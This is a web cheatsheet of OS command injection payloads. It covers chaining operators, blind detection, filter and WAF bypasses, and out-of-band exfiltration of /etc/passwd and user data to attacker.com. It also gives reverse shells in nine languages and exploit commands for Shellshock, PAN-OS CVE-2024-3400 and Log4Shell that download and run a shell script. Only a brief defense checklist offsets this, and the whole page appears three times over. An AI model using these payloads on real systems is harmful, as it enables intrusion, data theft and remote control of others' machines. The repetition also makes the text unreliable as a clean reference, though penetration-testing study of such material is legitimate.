Command Injection Cheatsheet: OS Command Injection Payloads & Bypass
Thu May 28 2026
Category:
Cheatsheet
Injection Operators
Linux / Unix
# Command chaining
;id
&id
&&id
|id
||id
`id`
$(id)
# Newline
%0aid
%0a id
\nid
# Examples
1;id
1 & id
1 && id
1 | id
1 || id
1`id`
1$(id)
1\nid
Windows
; id (only works in some contexts)
& whoami
&& whoami
| whoami
|| whoami
%0a whoami (newline)
%0d whoami (carriage return)
^& whoami (escape char + operator)
Blind Command Injection Detection
Time-Based
# Linux
;sleep 5
& sleep 5
| sleep 5
;sleep${IFS}5
;/usr/bin/sleep 5
# Windows
& timeout /T 5
& ping -n 5 127.0.0.1
| waitfor /t 5 test
Out-of-Band — DNS/HTTP
# Linux — DNS lookup to attacker-controlled domain
;nslookup attacker.com
;curl http://attacker.com/
;wget http://attacker.com/
;ping -c 1 attacker.com
# Exfiltrate command output
;curl http://attacker.com/?x=$(id)
;curl http://attacker.com/?x=$(whoami|base64)
;wget -O- "http://attacker.com/?x=$(cat /etc/passwd|base64)"
# Linux — DNS with data
;nslookup $(id).attacker.com
;host $(whoami).attacker.com
;dig $(cat /etc/hostname).attacker.com
# Windows
& nslookup attacker.com
& curl http://attacker.com/?x=%USERNAME%
& powershell -c "Invoke-WebRequest http://attacker.com/?x=$env:USERNAME"
Filter & WAF Bypass
Whitespace Bypass
# IFS substitution
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
id;cat${IFS}/etc/passwd
# Tab / newline
cat%09/etc/passwd
cat%0a/etc/passwd
{cat,/etc/passwd}
# Brace expansion
{cat,/etc/passwd}
{ls,-la,/}
# Redirection trick
cat</etc/passwd
Quote Bypass
# Insert quotes inside command
w'h'o'a'm'i
w"h"o"a"m"i
who''ami
Variable Bypass
# Split keyword with variables
a=id;$a
a=i;b=d;$a$b
a=wh;b=oami;$a$b
# IFS trick
IFS=,;cmd=id,whoami;$cmd
Case / Encoding Bypass
# Case insensitivity (Linux - mostly not case insensitive, but in params)
/usr/bin/ID
/USR/BIN/id
$(tr '[a-z]' '[A-Z]' <<< id) # forced uppercase
# Hex
$(echo -e '\x69\x64') # 'id' in hex
$(printf '\x69\x64')
Path Bypass (when binary names filtered)
/usr/bin/id
/bin/id
/usr/bin/whoami
/usr/bin/cat /etc/passwd
/bin/cat /etc/passwd
# Wildcard
/usr/bin/i?
/bin/cat /etc/pas??d
/bin/c?t /etc/passwd
/bin/cat /etc/p*sswd
ls /???/bin/id → /usr/bin/id
Argument Bypass
# When space between cmd and arg is filtered
cat</etc/passwd
cat<>/dev/tcp/attacker.com/4444</>/dev/tcp/attacker.com/4444
Reverse Shells
Bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
0<&196;exec 196<>/dev/tcp/attacker.com/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Netcat
nc -e /bin/sh attacker.com 4444
nc -e /bin/bash attacker.com 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
Perl
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP
php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("attacker.com",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
Ruby
ruby -rsocket -e'f=TCPSocket.open("attacker.com",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Java
r = Runtime.getRuntime(); p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();
Golang
package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","attacker.com:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}
Shell Upgrade (after basic shell)
# Python TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then background + stty
^Z
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116
# Script
script /dev/null -c bash
# socat full TTY
# Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker.com:4444
Windows-Specific
& whoami
& net user
& net localgroup administrators
& ipconfig /all
& type C:\Windows\win.ini
& dir C:\Users\
& type C:\Users\Administrator\.ssh\id_rsa
# PowerShell execution
& powershell -c "Get-ChildItem"
& powershell -EncodedCommand <base64>
# CMD bypasses
& c^m^d /c whoami
& cm%TEMP:~0,0%d /c whoami
Real-World Examples
| CVE / Incident |
Year |
Product |
Impact |
| Shellshock (CVE-2014-6271) |
2014 |
Bash / CGI |
Remote code execution via HTTP headers |
| CVE-2021-44228 (Log4Shell) |
2021 |
Apache Log4j |
JNDI lookup → command injection → RCE |
| CVE-2022-1388 |
2022 |
F5 BIG-IP iControl |
Auth bypass + command injection → RCE |
| CVE-2023-23397 |
2023 |
Microsoft Outlook |
UNC path injection → NTLM credential capture |
| CVE-2024-3400 |
2024 |
Palo Alto PAN-OS |
Command injection in GlobalProtect VPN → RCE |
| Cisco IOS CVEs |
ongoing |
Cisco NX-OS, IOS XE |
CMDi in web management interface |
Example: Shellshock (CVE-2014-6271) — Bash CGI RCE
# Exploit via User-Agent header in CGI request
curl -A '() { :;}; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' \
http://target.com/cgi-bin/status.sh
# Or via Referer
curl -H 'Referer: () { :;}; echo; /bin/cat /etc/passwd' \
http://target.com/cgi-bin/test.sh
# Reverse shell via Cookie header
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' \
http://target.com/cgi-bin/vuln.cgi
Example: CVE-2024-3400 — Palo Alto GlobalProtect RCE
# Path traversal + command injection in PAN-OS GlobalProtect
# Create a session with malicious SESSID
curl -s -k -X POST "https://target.com/ssl-vpn/hipreport.esp" \
-H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/`curl${IFS}attacker.com/shell.sh|bash`"
# shell.sh hosted at attacker.com:
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Example: Log4Shell (CVE-2021-44228) — CMDi via JNDI
# Step 1: Host malicious LDAP/RMI server (using marshalsec or JNDI-Exploit-Kit)
java -cp marshalsec-0.0.3-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit"
# Step 2: Host malicious Java class at attacker.com:8888/Exploit.class
# Exploit.class executes: Runtime.getRuntime().exec("curl attacker.com/shell.sh | bash")
# Step 3: Inject JNDI lookup string into any logged field
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
curl -H 'X-Forwarded-For: ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
curl -H 'Authorization: Basic ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
# Bypass filters
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker.com/Exploit}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/Exploit}
Example: HTB: Shocker — Shellshock
# Gobuster to find CGI scripts
gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl,py
# Found: /cgi-bin/user.sh
curl -A '() { :; }; /bin/bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' \
http://10.10.10.56/cgi-bin/user.sh
Defense Checklist
- Never pass user input to shell execution functions (
exec(), system(), popen(), Runtime.exec())
- Use parameterized APIs (e.g.,
subprocess.run(['id']) instead of subprocess.run('id', shell=True))
- Whitelist allowed characters — deny semicolons, pipes, ampersands, backticks,
$(), newlines
- Run application with minimum OS privileges
- Apply sandboxing / container isolation
- Log all shell executions
References
Injection Operators
Linux / Unix
# Command chaining
;id
&id
&&id
|id
||id
`id`
$(id)
# Newline
%0aid
%0a id
\nid
# Examples
1;id
1 & id
1 && id
1 | id
1 || id
1`id`
1$(id)
1\nid
Windows
; id (only works in some contexts)
& whoami
&& whoami
| whoami
|| whoami
%0a whoami (newline)
%0d whoami (carriage return)
^& whoami (escape char + operator)
Blind Command Injection Detection
Time-Based
# Linux
;sleep 5
& sleep 5
| sleep 5
;sleep${IFS}5
;/usr/bin/sleep 5
# Windows
& timeout /T 5
& ping -n 5 127.0.0.1
| waitfor /t 5 test
Out-of-Band — DNS/HTTP
# Linux — DNS lookup to attacker-controlled domain
;nslookup attacker.com
;curl http://attacker.com/
;wget http://attacker.com/
;ping -c 1 attacker.com
# Exfiltrate command output
;curl http://attacker.com/?x=$(id)
;curl http://attacker.com/?x=$(whoami|base64)
;wget -O- "http://attacker.com/?x=$(cat /etc/passwd|base64)"
# Linux — DNS with data
;nslookup $(id).attacker.com
;host $(whoami).attacker.com
;dig $(cat /etc/hostname).attacker.com
# Windows
& nslookup attacker.com
& curl http://attacker.com/?x=%USERNAME%
& powershell -c "Invoke-WebRequest http://attacker.com/?x=$env:USERNAME"
Filter & WAF Bypass
Whitespace Bypass
# IFS substitution
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
id;cat${IFS}/etc/passwd
# Tab / newline
cat%09/etc/passwd
cat%0a/etc/passwd
{cat,/etc/passwd}
# Brace expansion
{cat,/etc/passwd}
{ls,-la,/}
# Redirection trick
cat</etc/passwd
Quote Bypass
# Insert quotes inside command
w'h'o'a'm'i
w"h"o"a"m"i
who''ami
Variable Bypass
# Split keyword with variables
a=id;$a
a=i;b=d;$a$b
a=wh;b=oami;$a$b
# IFS trick
IFS=,;cmd=id,whoami;$cmd
Case / Encoding Bypass
# Case insensitivity (Linux - mostly not case insensitive, but in params)
/usr/bin/ID
/USR/BIN/id
$(tr '[a-z]' '[A-Z]' <<< id) # forced uppercase
# Hex
$(echo -e '\x69\x64') # 'id' in hex
$(printf '\x69\x64')
Path Bypass (when binary names filtered)
/usr/bin/id
/bin/id
/usr/bin/whoami
/usr/bin/cat /etc/passwd
/bin/cat /etc/passwd
# Wildcard
/usr/bin/i?
/bin/cat /etc/pas??d
/bin/c?t /etc/passwd
/bin/cat /etc/p*sswd
ls /???/bin/id → /usr/bin/id
Argument Bypass
# When space between cmd and arg is filtered
cat</etc/passwd
cat<>/dev/tcp/attacker.com/4444</>/dev/tcp/attacker.com/4444
Reverse Shells
Bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
0<&196;exec 196<>/dev/tcp/attacker.com/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Netcat
nc -e /bin/sh attacker.com 4444
nc -e /bin/bash attacker.com 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
Perl
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP
php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("attacker.com",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
Ruby
ruby -rsocket -e'f=TCPSocket.open("attacker.com",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Java
r = Runtime.getRuntime(); p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();
Golang
package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","attacker.com:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}
Shell Upgrade (after basic shell)
# Python TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then background + stty
^Z
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116
# Script
script /dev/null -c bash
# socat full TTY
# Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker.com:4444
Windows-Specific
& whoami
& net user
& net localgroup administrators
& ipconfig /all
& type C:\Windows\win.ini
& dir C:\Users\
& type C:\Users\Administrator\.ssh\id_rsa
# PowerShell execution
& powershell -c "Get-ChildItem"
& powershell -EncodedCommand <base64>
# CMD bypasses
& c^m^d /c whoami
& cm%TEMP:~0,0%d /c whoami
Real-World Examples
| CVE / Incident |
Year |
Product |
Impact |
| Shellshock (CVE-2014-6271) |
2014 |
Bash / CGI |
Remote code execution via HTTP headers |
| CVE-2021-44228 (Log4Shell) |
2021 |
Apache Log4j |
JNDI lookup → command injection → RCE |
| CVE-2022-1388 |
2022 |
F5 BIG-IP iControl |
Auth bypass + command injection → RCE |
| CVE-2023-23397 |
2023 |
Microsoft Outlook |
UNC path injection → NTLM credential capture |
| CVE-2024-3400 |
2024 |
Palo Alto PAN-OS |
Command injection in GlobalProtect VPN → RCE |
| Cisco IOS CVEs |
ongoing |
Cisco NX-OS, IOS XE |
CMDi in web management interface |
Example: Shellshock (CVE-2014-6271) — Bash CGI RCE
# Exploit via User-Agent header in CGI request
curl -A '() { :;}; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' \
http://target.com/cgi-bin/status.sh
# Or via Referer
curl -H 'Referer: () { :;}; echo; /bin/cat /etc/passwd' \
http://target.com/cgi-bin/test.sh
# Reverse shell via Cookie header
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' \
http://target.com/cgi-bin/vuln.cgi
Example: CVE-2024-3400 — Palo Alto GlobalProtect RCE
# Path traversal + command injection in PAN-OS GlobalProtect
# Create a session with malicious SESSID
curl -s -k -X POST "https://target.com/ssl-vpn/hipreport.esp" \
-H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/`curl${IFS}attacker.com/shell.sh|bash`"
# shell.sh hosted at attacker.com:
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Example: Log4Shell (CVE-2021-44228) — CMDi via JNDI
# Step 1: Host malicious LDAP/RMI server (using marshalsec or JNDI-Exploit-Kit)
java -cp marshalsec-0.0.3-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit"
# Step 2: Host malicious Java class at attacker.com:8888/Exploit.class
# Exploit.class executes: Runtime.getRuntime().exec("curl attacker.com/shell.sh | bash")
# Step 3: Inject JNDI lookup string into any logged field
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
curl -H 'X-Forwarded-For: ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
curl -H 'Authorization: Basic ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
# Bypass filters
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker.com/Exploit}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/Exploit}
Example: HTB: Shocker — Shellshock
# Gobuster to find CGI scripts
gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl,py
# Found: /cgi-bin/user.sh
curl -A '() { :; }; /bin/bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' \
http://10.10.10.56/cgi-bin/user.sh
Defense Checklist
- Never pass user input to shell execution functions (
exec(), system(), popen(), Runtime.exec())
- Use parameterized APIs (e.g.,
subprocess.run(['id']) instead of subprocess.run('id', shell=True))
- Whitelist allowed characters — deny semicolons, pipes, ampersands, backticks,
$(), newlines
- Run application with minimum OS privileges
- Apply sandboxing / container isolation
- Log all shell executions
References
Injection Operators
Linux / Unix
# Command chaining
;id
&id
&&id
|id
||id
`id`
$(id)
# Newline
%0aid
%0a id
\nid
# Examples
1;id
1 & id
1 && id
1 | id
1 || id
1`id`
1$(id)
1\nid
Windows
; id (only works in some contexts)
& whoami
&& whoami
| whoami
|| whoami
%0a whoami (newline)
%0d whoami (carriage return)
^& whoami (escape char + operator)
Blind Command Injection Detection
Time-Based
# Linux
;sleep 5
& sleep 5
| sleep 5
;sleep${IFS}5
;/usr/bin/sleep 5
# Windows
& timeout /T 5
& ping -n 5 127.0.0.1
| waitfor /t 5 test
Out-of-Band — DNS/HTTP
# Linux — DNS lookup to attacker-controlled domain
;nslookup attacker.com
;curl http://attacker.com/
;wget http://attacker.com/
;ping -c 1 attacker.com
# Exfiltrate command output
;curl http://attacker.com/?x=$(id)
;curl http://attacker.com/?x=$(whoami|base64)
;wget -O- "http://attacker.com/?x=$(cat /etc/passwd|base64)"
# Linux — DNS with data
;nslookup $(id).attacker.com
;host $(whoami).attacker.com
;dig $(cat /etc/hostname).attacker.com
# Windows
& nslookup attacker.com
& curl http://attacker.com/?x=%USERNAME%
& powershell -c "Invoke-WebRequest http://attacker.com/?x=$env:USERNAME"
Filter & WAF Bypass
Whitespace Bypass
# IFS substitution
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
id;cat${IFS}/etc/passwd
# Tab / newline
cat%09/etc/passwd
cat%0a/etc/passwd
{cat,/etc/passwd}
# Brace expansion
{cat,/etc/passwd}
{ls,-la,/}
# Redirection trick
cat</etc/passwd
Quote Bypass
# Insert quotes inside command
w'h'o'a'm'i
w"h"o"a"m"i
who''ami
Variable Bypass
# Split keyword with variables
a=id;$a
a=i;b=d;$a$b
a=wh;b=oami;$a$b
# IFS trick
IFS=,;cmd=id,whoami;$cmd
Case / Encoding Bypass
# Case insensitivity (Linux - mostly not case insensitive, but in params)
/usr/bin/ID
/USR/BIN/id
$(tr '[a-z]' '[A-Z]' <<< id) # forced uppercase
# Hex
$(echo -e '\x69\x64') # 'id' in hex
$(printf '\x69\x64')
Path Bypass (when binary names filtered)
/usr/bin/id
/bin/id
/usr/bin/whoami
/usr/bin/cat /etc/passwd
/bin/cat /etc/passwd
# Wildcard
/usr/bin/i?
/bin/cat /etc/pas??d
/bin/c?t /etc/passwd
/bin/cat /etc/p*sswd
ls /???/bin/id → /usr/bin/id
Argument Bypass
# When space between cmd and arg is filtered
cat</etc/passwd
cat<>/dev/tcp/attacker.com/4444</>/dev/tcp/attacker.com/4444
Reverse Shells
Bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
0<&196;exec 196<>/dev/tcp/attacker.com/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Netcat
nc -e /bin/sh attacker.com 4444
nc -e /bin/bash attacker.com 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
Perl
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP
php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("attacker.com",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
Ruby
ruby -rsocket -e'f=TCPSocket.open("attacker.com",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Java
r = Runtime.getRuntime(); p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();
Golang
package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","attacker.com:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}
Shell Upgrade (after basic shell)
# Python TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then background + stty
^Z
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116
# Script
script /dev/null -c bash
# socat full TTY
# Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker.com:4444
Windows-Specific
& whoami
& net user
& net localgroup administrators
& ipconfig /all
& type C:\Windows\win.ini
& dir C:\Users\
& type C:\Users\Administrator\.ssh\id_rsa
# PowerShell execution
& powershell -c "Get-ChildItem"
& powershell -EncodedCommand <base64>
# CMD bypasses
& c^m^d /c whoami
& cm%TEMP:~0,0%d /c whoami
Real-World Examples
| CVE / Incident |
Year |
Product |
Impact |
| Shellshock (CVE-2014-6271) |
2014 |
Bash / CGI |
Remote code execution via HTTP headers |
| CVE-2021-44228 (Log4Shell) |
2021 |
Apache Log4j |
JNDI lookup → command injection → RCE |
| CVE-2022-1388 |
2022 |
F5 BIG-IP iControl |
Auth bypass + command injection → RCE |
| CVE-2023-23397 |
2023 |
Microsoft Outlook |
UNC path injection → NTLM credential capture |
| CVE-2024-3400 |
2024 |
Palo Alto PAN-OS |
Command injection in GlobalProtect VPN → RCE |
| Cisco IOS CVEs |
ongoing |
Cisco NX-OS, IOS XE |
CMDi in web management interface |
Example: Shellshock (CVE-2014-6271) — Bash CGI RCE
# Exploit via User-Agent header in CGI request
curl -A '() { :;}; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' \
http://target.com/cgi-bin/status.sh
# Or via Referer
curl -H 'Referer: () { :;}; echo; /bin/cat /etc/passwd' \
http://target.com/cgi-bin/test.sh
# Reverse shell via Cookie header
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1' \
http://target.com/cgi-bin/vuln.cgi
Example: CVE-2024-3400 — Palo Alto GlobalProtect RCE
# Path traversal + command injection in PAN-OS GlobalProtect
# Create a session with malicious SESSID
curl -s -k -X POST "https://target.com/ssl-vpn/hipreport.esp" \
-H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/`curl${IFS}attacker.com/shell.sh|bash`"
# shell.sh hosted at attacker.com:
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Example: Log4Shell (CVE-2021-44228) — CMDi via JNDI
# Step 1: Host malicious LDAP/RMI server (using marshalsec or JNDI-Exploit-Kit)
java -cp marshalsec-0.0.3-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit"
# Step 2: Host malicious Java class at attacker.com:8888/Exploit.class
# Exploit.class executes: Runtime.getRuntime().exec("curl attacker.com/shell.sh | bash")
# Step 3: Inject JNDI lookup string into any logged field
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
curl -H 'X-Forwarded-For: ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
curl -H 'Authorization: Basic ${jndi:ldap://attacker.com:1389/Exploit}' http://target.com/
# Bypass filters
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker.com/Exploit}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/Exploit}
Example: HTB: Shocker — Shellshock
# Gobuster to find CGI scripts
gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl,py
# Found: /cgi-bin/user.sh
curl -A '() { :; }; /bin/bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' \
http://10.10.10.56/cgi-bin/user.sh
Defense Checklist
- Never pass user input to shell execution functions (
exec(), system(), popen(), Runtime.exec())
- Use parameterized APIs (e.g.,
subprocess.run(['id']) instead of subprocess.run('id', shell=True))
- Whitelist allowed characters — deny semicolons, pipes, ampersands, backticks,
$(), newlines
- Run application with minimum OS privileges
- Apply sandboxing / container isolation
- Log all shell executions
References